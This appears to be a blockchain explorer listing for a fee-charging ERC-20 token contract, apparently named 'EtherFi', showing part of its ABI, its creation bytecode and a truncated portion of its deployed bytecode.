IUniswapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600e556012805462ffffff191660019081179091556017805460ff1916909117905534801562000033575f80fd5b50604051806040016040528060078152602001664574686572466960c81b815250604051806040016040528060048152602001630ca8aa8960e31b815250816003908162000082919062000926565b50600462000091828262000926565b5050505f620000a56200047260201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250905f905f8051602062003936833981519152908290a350600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051339291829163c45a0155916004808201926020929091908290030181865afa15801562000148573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200016e9190620009ee565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e09190620009ee565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200022b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002519190620009ee565b600a80546001600160a01b0319166001600160a01b039290921691821790556200027d90600162000476565b600a5462000296906001600160a01b03166001620004d8565b6b033b2e3c9fd0803ce80000006103e8620002b382601962000a31565b620002bf919062000a51565b6006556103e8620002d282601962000a31565b620002de919062000a51565b6007556103e8620002f182601962000a31565b620002fd919062000a51565b6008556200030f620186a08262000a51565b600b5560198080555f601a819055601b819055601c8190559081906200033790829062000a71565b62000343919062000a71565b6200034f919062000a71565b6018556019601e8190555f601f819055602081905560218190559081906200037990829062000a71565b62000385919062000a71565b62000391919062000a71565b601d55600c80546001600160a01b031990811673930fabb4cbaadc0e066734998e0896fc63d5d1e617909155600d805490911633179055620003d583600162000476565b620003e230600162000476565b620003f161dead600162000476565b620003fe8360016200050b565b6200040b3060016200050b565b600c5462000424906001600160a01b031660016200050b565b600a54600c5462000443916001600160a01b0390811691168362000583565b6200045261dead60016200050b565b6200045e8382620006aa565b62000469836200078c565b50505062000a87565b3390565b6001600160a01b0382165f81815260146020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382165f908152601560205260409020805460ff191682151517905562000507828262000476565b5050565b6005546001600160a01b03163314620005595760405162461bcd60e51b815260206004820181905260248201525f805160206200391683398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b6001600160a01b038316620005e75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162000550565b6001600160a01b0382166200064a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000550565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216620007025760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000550565b8060025f82825462000715919062000a71565b90915550506001600160a01b0382165f90815260208190526040812080548392906200074390849062000a71565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620007d65760405162461bcd60e51b815260206004820181905260248201525f8051602062003916833981519152604482015260640162000550565b6001600160a01b0381166200083d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162000550565b6005546040516001600160a01b038084169216905f8051602062003936833981519152905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620008af57607f821691505b602082108103620008ce57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000921575f81815260208120601f850160051c81016020861015620008fc5750805b601f850160051c820191505b818110156200091d5782815560010162000908565b5050505b505050565b81516001600160401b0381111562000942576200094262000886565b6200095a816200095384546200089a565b84620008d4565b602080601f83116001811462000990575f8415620009785750858301515b5f19600386901b1c1916600185901b1785556200091d565b5f85815260208120601f198616915b82811015620009c0578886015182559484019460019091019084016200099f565b5085821015620009de57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620009ff575f80fd5b81516001600160a01b038116811462000a16575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141762000a4b5762000a4b62000a1d565b92915050565b5f8262000a6c57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111562000a4b5762000a4b62000a1d565b612e818062000a955f395ff3fe60806040526004361061037f575f3560e01c80639c3b4fdc116101d3578063d85ba063116100fd578063e2f456051161009d578063f2fde38b1161006d578063f2fde38b146109a3578063f6374342146109c2578063f8b45b05146109d7578063fb002c97146109ec575f80fd5b8063e2f4560514610945578063e71dc3f51461095a578063e7ad9fcd1461096f578063f11a24d31461098e575f80fd5b8063dcf7952b116100d8578063dcf7952b146108c3578063dd62ed3e146108d8578063df0fb5171461091c578063e086e5ec14610931575f80fd5b8063d85ba06314610870578063dc3f0d0f14610885578063dcc345f2146108a4575f80fd5b8063adb873bd11610173578063c816841b11610143578063c816841b146107fb578063cf201a031461081a578063d257b34f14610833578063d621e81314610852575f80fd5b8063adb873bd1461077a578063b0249cc61461078f578063c0246668146107bd578063c18bc195146107dc575f80fd5b8063a0d82dc5116101ae578063a0d82dc514610712578063a457c2d714610727578063a62068ce14610746578063a9059cbb1461075b575f80fd5b80639c3b4fdc146106cf5780639fccce32146106e4578063a067f033146106f9575f80fd5b806355df99b8116102b4578063735de9f7116102545780638da5cb5b116102245780638da5cb5b14610651578063906e9dd01461066e57806395d89b411461068d57806397dfb9bf146106a1575f80fd5b8063735de9f7146105d2578063751039fc146106095780637571336a1461061d5780638c0b5e221461063c575f80fd5b80636a486a8e1161028f5780636a486a8e1461055c57806370a0823114610571578063715018a61461059057806371dd7497146105a4575f80fd5b806355df99b81461051c57806358a6d531146105315780635a139dd414610547575f80fd5b806325fa0b981161031f578063313ce567116102fa578063313ce567146104b957806339509351146104d45780634f77f6c0146104f357806351bc3c8514610508575f80fd5b806325fa0b98146104655780632be32b611461047b5780632e6ed7ef1461049a575f80fd5b806318160ddd1161035a57806318160ddd146103fe5780631a8145bb1461041c5780631d7778561461043157806323b872dd14610446575f80fd5b806304866b801461038a57806306fdde03146103be578063095ea7b3146103df575f80fd5b3661038657005b5f80fd5b348015610395575f80fd5b506012546103a99062010000900460ff1681565b60405190151581526020015b60405180910390f35b3480156103c9575f80fd5b506103d2610a01565b6040516103b59190612a84565b3480156103ea575f80fd5b506103a96103f9366004612ae6565b610a91565b348015610409575f80fd5b506002545b6040519081526020016103b5565b348015610427575f80fd5b5061040e60235481565b34801561043c575f80fd5b5061040e60255481565b348015610451575f80fd5b506103a9610460366004612b10565b610aa7565b348015610470575f80fd5b50610479610b54565b005b348015610486575f80fd5b50610479610495366004612b4e565b610bf2565b3480156104a5575f80fd5b506104796104b4366004612b65565b610cff565b3480156104c4575f80fd5b50604051601281526020016103b5565b3480156104df575f80fd5b506103a96104ee366004612ae6565b610db8565b3480156104fe575f80fd5b5061040e601e5481565b348015610513575f80fd5b50610479610df3565b348015610527575f80fd5b5061040e60075481565b34801561053c575f80fd5b50600f5443106103a9565b348015610552575f80fd5b5061040e60195481565b348015610567575f80fd5b5061040e601d5481565b34801561057c575f80fd5b5061040e61058b366004612b94565b610ec9565b34801561059b575f80fd5b50610479610ee3565b3480156105af575f80fd5b506103a96105be366004612b94565b60146020525f908152604090205460ff1681565b3480156105dd575f80fd5b506009546105f1906001600160a01b031681565b6040516001600160a01b0390911681526020016103b5565b348015610614575f80fd5b50610479610f56565b348015610628575f80fd5b50610479610637366004612bb6565b610f98565b348015610647575f80fd5b5061040e60065481565b34801561065c575f80fd5b506005546001600160a01b03166105f1565b348015610679575f80fd5b50610479610688366004612b94565b61105f565b348015610698575f80fd5b506103d2611110565b3480156106ac575f80fd5b506103a96106bb366004612b94565b60106020525f908152604090205460ff1681565b3480156106da575f80fd5b5061040e601b5481565b3480156106ef575f80fd5b5061040e60245481565b348015610704575f80fd5b506017546103a99060ff1681565b34801561071d575f80fd5b5061040e60205481565b348015610732575f80fd5b506103a9610741366004612ae6565b61111f565b348015610751575f80fd5b5061040e600f5481565b348015610766575f80fd5b506103a9610775366004612ae6565b6111b7565b348015610785575f80fd5b5061040e60215481565b34801561079a575f80fd5b506103a96107a9366004612b94565b60156020525f908152604090205460ff1681565b3480156107c8575f80fd5b506104796107d7366004612bb6565b6111c3565b3480156107e7575f80fd5b506104796107f6366004612b4e565b611217565b348015610806575f80fd5b50600a546105f1906001600160a01b031681565b348015610825575f80fd5b506012546103a99060ff1681565b34801561083e575f80fd5b5061047961084d366004612b4e565b611320565b34801561085d575f80fd5b506012546103a990610100900460ff1681565b34801561087b575f80fd5b5061040e60185481565b348015610890575f80fd5b5061047961089f366004612b4e565b61146b565b3480156108af575f80fd5b506104796108be366004612b94565b611572565b3480156108ce575f80fd5b5061040e60115481565b3480156108e3575f80fd5b5061040e6108f2366004612bf1565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610927575f80fd5b5061040e600e5481565b34801561093c575f80fd5b50610479611614565b348015610950575f80fd5b5061040e600b5481565b348015610965575f80fd5b5061040e601c5481565b34801561097a575f80fd5b50610479610989366004612b65565b61167d565b348015610999575f80fd5b5061040e601a5481565b3480156109ae575f80fd5b506104796109bd366004612b94565b611730565b3480156109cd575f80fd5b5061040e601f5481565b3480156109e2575f80fd5b5061040e60085481565b3480156109f7575f80fd5b5061040e60225481565b606060038054610a1090612c1d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3c90612c1d565b8015610a875780601f10610a5e57610100808354040283529160200191610a87565b820191905f5260205f20905b815481529060010190602001808311610a6a57829003601f168201915b5050505050905090565b5f610a9d33848461181a565b5060015b92915050565b5f610ab384848461193e565b6001600160a01b0384165f90815260016020908152604080832033845290915290205482811015610b3c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610b49853385840361181a565b506001949350505050565b6005546001600160a01b03163314610b7e5760405162461bcd60e51b8152600401610b3390612c55565b601254610100900460ff1615610bd65760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610b33565b6012805462ffff0019166201010017905543600e819055600f55565b6005546001600160a01b03163314610c1c5760405162461bcd60e51b8152600401610b3390612c55565b670de0b6b3a76400006103e8610c3160025490565b610c3c906002612c9e565b610c469190612cb5565b610c509190612cb5565b811015610cb15760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610b33565b610cc381670de0b6b3a7640000612c9e565b60068190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610d295760405162461bcd60e51b8152600401610b3390612c55565b6019849055601a839055601b829055601c8190558082610d498587612cd4565b610d539190612cd4565b610d5d9190612cd4565b6018819055600a1015610db25760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610b33565b50505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091610a9d918590610dee908690612cd4565b61181a565b6005546001600160a01b03163314610e1d5760405162461bcd60e51b8152600401610b3390612c55565b600b54610e2930610ec9565b1015610e9f576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610b33565b600a805460ff60a01b1916600160a01b179055610eba61241a565b600a805460ff60a01b19169055565b6001600160a01b03165f9081526020819052604090205490565b6005546001600160a01b03163314610f0d5760405162461bcd60e51b8152600401610b3390612c55565b6005546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610f805760405162461bcd60e51b8152600401610b3390612c55565b6012805460ff19908116909155601780549091169055565b6005546001600160a01b03163314610fc25760405162461bcd60e51b8152600401610b3390612c55565b8061103557600a546001600160a01b03908116908316036110355760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610b33565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110895760405162461bcd60e51b8152600401610b3390612c55565b6001600160a01b0381166110ee5760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b6064820152608401610b33565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b606060048054610a1090612c1d565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156111a05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610b33565b6111ad338585840361181a565b5060019392505050565b5f610a9d33848461193e565b6005546001600160a01b031633146111ed5760405162461bcd60e51b8152600401610b3390612c55565b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146112415760405162461bcd60e51b8152600401610b3390612c55565b670de0b6b3a76400006103e861125660025490565b611261906003612c9e565b61126b9190612cb5565b6112759190612cb5565b8110156112d95760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610b33565b6112eb81670de0b6b3a7640000612c9e565b60088190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610cf4565b6005546001600160a01b0316331461134a5760405162461bcd60e51b8152600401610b3390612c55565b620186a061135760025490565b611362906001612c9e565b61136c9190612cb5565b8110156113d95760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b33565b6103e86113e560025490565b6113f0906001612c9e565b6113fa9190612cb5565b8111156114665760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610b33565b600b55565b6005546001600160a01b031633146114955760405162461bcd60e51b8152600401610b3390612c55565b670de0b6b3a76400006103e86114aa60025490565b6114b5906002612c9e565b6114bf9190612cb5565b6114c99190612cb5565b81101561152b5760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610b33565b61153d81670de0b6b3a7640000612c9e565b60078190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610cf4565b6005546001600160a01b0316331461159c5760405162461bcd60e51b8152600401610b3390612c55565b6001600160a01b0381166115f25760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610b33565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b0316331461163e5760405162461bcd60e51b8152600401610b3390612c55565b6040515f90339047908381818185875af1925050503d805f8114610db2576040519150601f19603f3d011682016040523d82523d5f602084013e610db2565b6005546001600160a01b031633146116a75760405162461bcd60e51b8152600401610b3390612c55565b601e849055601f8390556020829055602181905580826116c78587612cd4565b6116d19190612cd4565b6116db9190612cd4565b601d819055600a1015610db25760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610b33565b6005546001600160a01b0316331461175a5760405162461bcd60e51b8152600401610b3390612c55565b6001600160a01b0381166117bf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b33565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661187c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b33565b6001600160a01b0382166118dd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b33565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166119645760405162461bcd60e51b8152600401610b3390612ce7565b6001600160a01b03821661198a5760405162461bcd60e51b8152600401610b3390612d2c565b5f81116119d95760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610b33565b601254610100900460ff16611a6a576001600160a01b0383165f9081526013602052604090205460ff1680611a2557506001600160a01b0382165f9081526013602052604090205460ff165b611a6a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b33565b600f5415611b3c576001600160a01b0383165f9081526010602052604090205460ff161580611aa657506005546001600160a01b038381169116145b80611abb57506001600160a01b03821661dead145b611b3c5760405162461bcd60e51b815260206004820152604660248201527f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60448201527f72206f75742065786365707420746f206f776e6572206f722064656164206164606482015265323932b9b99760d11b608482015260a401610b33565b60125460ff1615611f2e576005546001600160a01b03848116911614801590611b7357506005546001600160a01b03838116911614155b8015611b8757506001600160a01b03821615155b8015611b9e57506001600160a01b03821661dead14155b8015611bc257506001600160a01b0383165f9081526013602052604090205460ff16155b8015611be657506001600160a01b0382165f9081526013602052604090205460ff16155b15611f2e5760175460ff1615611cfc576009546001600160a01b03838116911614801590611c225750600a546001600160a01b03838116911614155b15611cfc57611c32600243612d6f565b325f90815260166020526040902054108015611c6e5750611c54600243612d6f565b6001600160a01b0383165f90815260166020526040902054105b611cd85760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b6064820152608401610b33565b325f9081526016602052604080822043908190556001600160a01b03851683529120555b6001600160a01b0383165f9081526015602052604090205460ff168015611d3b57506001600160a01b0382165f9081526014602052604090205460ff16155b15611e0757600654811115611da35760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610b33565b600854611daf83610ec9565b611db99083612cd4565b1115611e025760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610b33565b611f2e565b6001600160a01b0382165f9081526015602052604090205460ff168015611e4657506001600160a01b0383165f9081526014602052604090205460ff16155b15611eb057600754811115611e025760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610b33565b6001600160a01b0382165f9081526014602052604090205460ff16611f2e57600854611edb83610ec9565b611ee59083612cd4565b1115611f2e5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610b33565b5f611f3830610ec9565b90505f600b548210158015611f4e5750600b5483115b9050808015611f65575060125462010000900460ff165b8015611f7b5750600a54600160a01b900460ff16155b8015611f9e57506001600160a01b0384165f9081526015602052604090205460ff165b8015611fc257506001600160a01b0385165f9081526013602052604090205460ff16155b8015611fe657506001600160a01b0384165f9081526013602052604090205460ff16155b1561201457600a805460ff60a01b1916600160a01b17905561200661241a565b600a805460ff60a01b191690555b6001600160a01b0385165f9081526013602052604090205460019060ff168061205457506001600160a01b0385165f9081526013602052604090205460ff165b1561205c57505f5b5f811561240657600f544310801561208b57506001600160a01b0387165f9081526015602052604090205460ff165b80156120af57506001600160a01b0386165f9081526015602052604090205460ff16155b80156120bc57505f601854115b156121fa576001600160a01b0386165f9081526010602052604090205460ff1661211e576001600160a01b0386165f908152601060205260408120805460ff191660019081179091556011805491929091612118908490612cd4565b90915550505b606461212b86601e612c9e565b6121359190612cb5565b9050601854601a54826121489190612c9e565b6121529190612cb5565b60235f8282546121629190612cd4565b90915550506018546019546121779083612c9e565b6121819190612cb5565b60225f8282546121919190612cd4565b9091555050601854601b546121a69083612c9e565b6121b09190612cb5565b60245f8282546121c09190612cd4565b9091555050601854601c546121d59083612c9e565b6121df9190612cb5565b60255f8282546121ef9190612cd4565b909155506123e89050565b6001600160a01b0386165f9081526015602052604090205460ff16801561222257505f601d54115b156122e1576064601d54866122379190612c9e565b6122419190612cb5565b9050601d54601f54826122549190612c9e565b61225e9190612cb5565b60235f82825461226e9190612cd4565b9091555050601d54601e546122839083612c9e565b61228d9190612cb5565b60225f82825461229d9190612cd4565b9091555050601d546020546122b29083612c9e565b6122bc9190612cb5565b60245f8282546122cc9190612cd4565b9091555050601d546021546121d59083612c9e565b6001600160a01b0387165f9081526015602052604090205460ff16801561230957505f601854115b156123e85760646018548661231e9190612c9e565b6123289190612cb5565b9050601854601a548261233b9190612c9e565b6123459190612cb5565b60235f8282546123559190612cd4565b909155505060185460195461236a9083612c9e565b6123749190612cb5565b60225f8282546123849190612cd4565b9091555050601854601b546123999083612c9e565b6123a39190612cb5565b60245f8282546123b39190612cd4565b9091555050601854601c546123c89083612c9e565b6123d29190612cb5565b60255f8282546123e29190612cd4565b90915550505b80156123f9576123f987308361260a565b6124038186612d6f565b94505b61241187878761260a565b50505050505050565b5f602554118015612435575060255461243230610ec9565b10155b15612446576124463060255461275d565b5f602581905561245530610ec9565b90505f60245460225460235461246b9190612cd4565b6124759190612cd4565b9050811580612482575080155b1561248b575050565b5f806002836023548661249e9190612c9e565b6124a89190612cb5565b6124b29190612cb5565b90506124c66124c18286612d6f565b612885565b602354479081905f906124db90600290612cb5565b6124e59087612d6f565b6022546124f29085612c9e565b6124fc9190612cb5565b90505f600260235461250e9190612cb5565b6125189088612d6f565b6024546125259086612c9e565b61252f9190612cb5565b905061253b8183612cd4565b6125459084612d6f565b5f6023819055602281905560248190556025559250841580159061256857505f83115b156125775761257785846129d5565b600d546040516001600160a01b039091169082905f81818185875af1925050503d805f81146125c1576040519150601f19603f3d011682016040523d82523d5f602084013e6125c6565b606091505b5050600c546040519197506001600160a01b0316904780156108fc02915f818181858888f193505050501580156125ff573d5f803e3d5ffd5b505050505050505050565b6001600160a01b0383166126305760405162461bcd60e51b8152600401610b3390612ce7565b6001600160a01b0382166126565760405162461bcd60e51b8152600401610b3390612d2c565b6001600160a01b0383165f90815260208190526040902054818110156126cd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610b33565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290612703908490612cd4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161274f91815260200190565b60405180910390a350505050565b6001600160a01b0382166127bd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610b33565b6001600160a01b0382165f90815260208190526040902054818110156128305760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610b33565b6001600160a01b0383165f818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611931565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106128b8576128b8612d82565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561290f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129339190612d96565b8160018151811061294657612946612d82565b6001600160a01b03928316602091820292909201015260095461296c913091168461181a565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906129a49085905f90869030904290600401612db1565b5f604051808303815f87803b1580156129bb575f80fd5b505af11580156129cd573d5f803e3d5ffd5b505050505050565b6009546129ed9030906001600160a01b03168461181a565b60095460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612a58573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190612a7d9190612e20565b5050505050565b5f6020808352835180828501525f5b81811015612aaf57858101830151858201604001528201612a93565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612ae3575f80fd5b50565b5f8060408385031215612af7575f80fd5b8235612b0281612acf565b946020939093013593505050565b5f805f60608486031215612b22575f80fd5b8335612b2d81612acf565b92506020840135612b3d81612acf565b929592945050506040919091013590565b5f60208284031215612b5e575f80fd5b5035919050565b5f805f8060808587031215612b78575f80fd5b5050823594602084013594506040840135936060013592509050565b5f60208284031215612ba4575f80fd5b8135612baf81612acf565b9392505050565b5f8060408385031215612bc7575f80fd5b8235612bd281612acf565b915060208301358015158114612be6575f80fd5b809150509250929050565b5f8060408385031215612c02575f80fd5b8235612c0d81612acf565b91506020830135612be681612acf565b600181811c90821680612c3157607f821691505b602082108103612c4f57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610aa157610aa1612c8a565b5f82612ccf57634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610aa157610aa1612c8a565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610aa157610aa1612c8a565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612da6575f80fd5b8151612baf81612acf565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015612dff5784516001600160a01b031683529383019391830191600101612dda565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215612e32575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ec6ee9f7a33f114f0e206f860707d653d1c5b4698ae4efdd228c1581b1bbca4364736f6c634300081500334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0

Deployed Bytecode

0x60806040526004361061037f575f3560e01c80639c3b4fdc116101d3578063d85ba063116100fd578063e2f456051161009d578063f2fde38b1161006d578063f2fde38b146109a3578063f6374342146109c2578063f8b45b05146109d7578063fb002c97146109ec575f80fd5b8063e2f4560514610945578063e71dc3f51461095a578063e7ad9fcd1461096f578063f11a24d31461098e575f80fd5b8063dcf7952b116100d8578063dcf7952b146108c3578063dd62ed3e146108d8578063df0fb5171461091c578063e086e5ec14610931575f80fd5b8063d85ba06314610870578063dc3f0d0f14610885578063dcc345f2146108a4575f80fd5b8063adb873bd11610173578063c816841b11610143578063c816841b146107fb578063cf201a031461081a578063d257b34f14610833578063d621e81314610852575f80fd5b8063adb873bd1461077a578063b0249cc61461078f578063c0246668146107bd578063c18bc195146107dc575f80fd5b8063a0d82dc5116101ae578063a0d82dc514610712578063a457c2d714610727578063a62068ce14610746578063a9059cbb1461075b575f80fd5b80639c3b4fdc146106cf5780639fccce32146106e4578063a067f033146106f9575f80fd5b806355df99b8116102b4578063735de9f7116102545780638da5cb5b116102245780638da5cb5b14610651578063906e9dd01461066e57806395d89b411461068d57806397dfb9bf146106a1575f80fd5b8063735de9f7146105d2578063751039fc146106095780637571336a1461061d5780638c0b5e221461063c575f80fd5b80636a486a8e1161028f5780636a486a8e1461055c57806370a0823114610571578063715018a61461059057806371dd7497146105a4575f80fd5b806355df99b81461051c57806358a6d531146105315780635a139dd414610547575f80f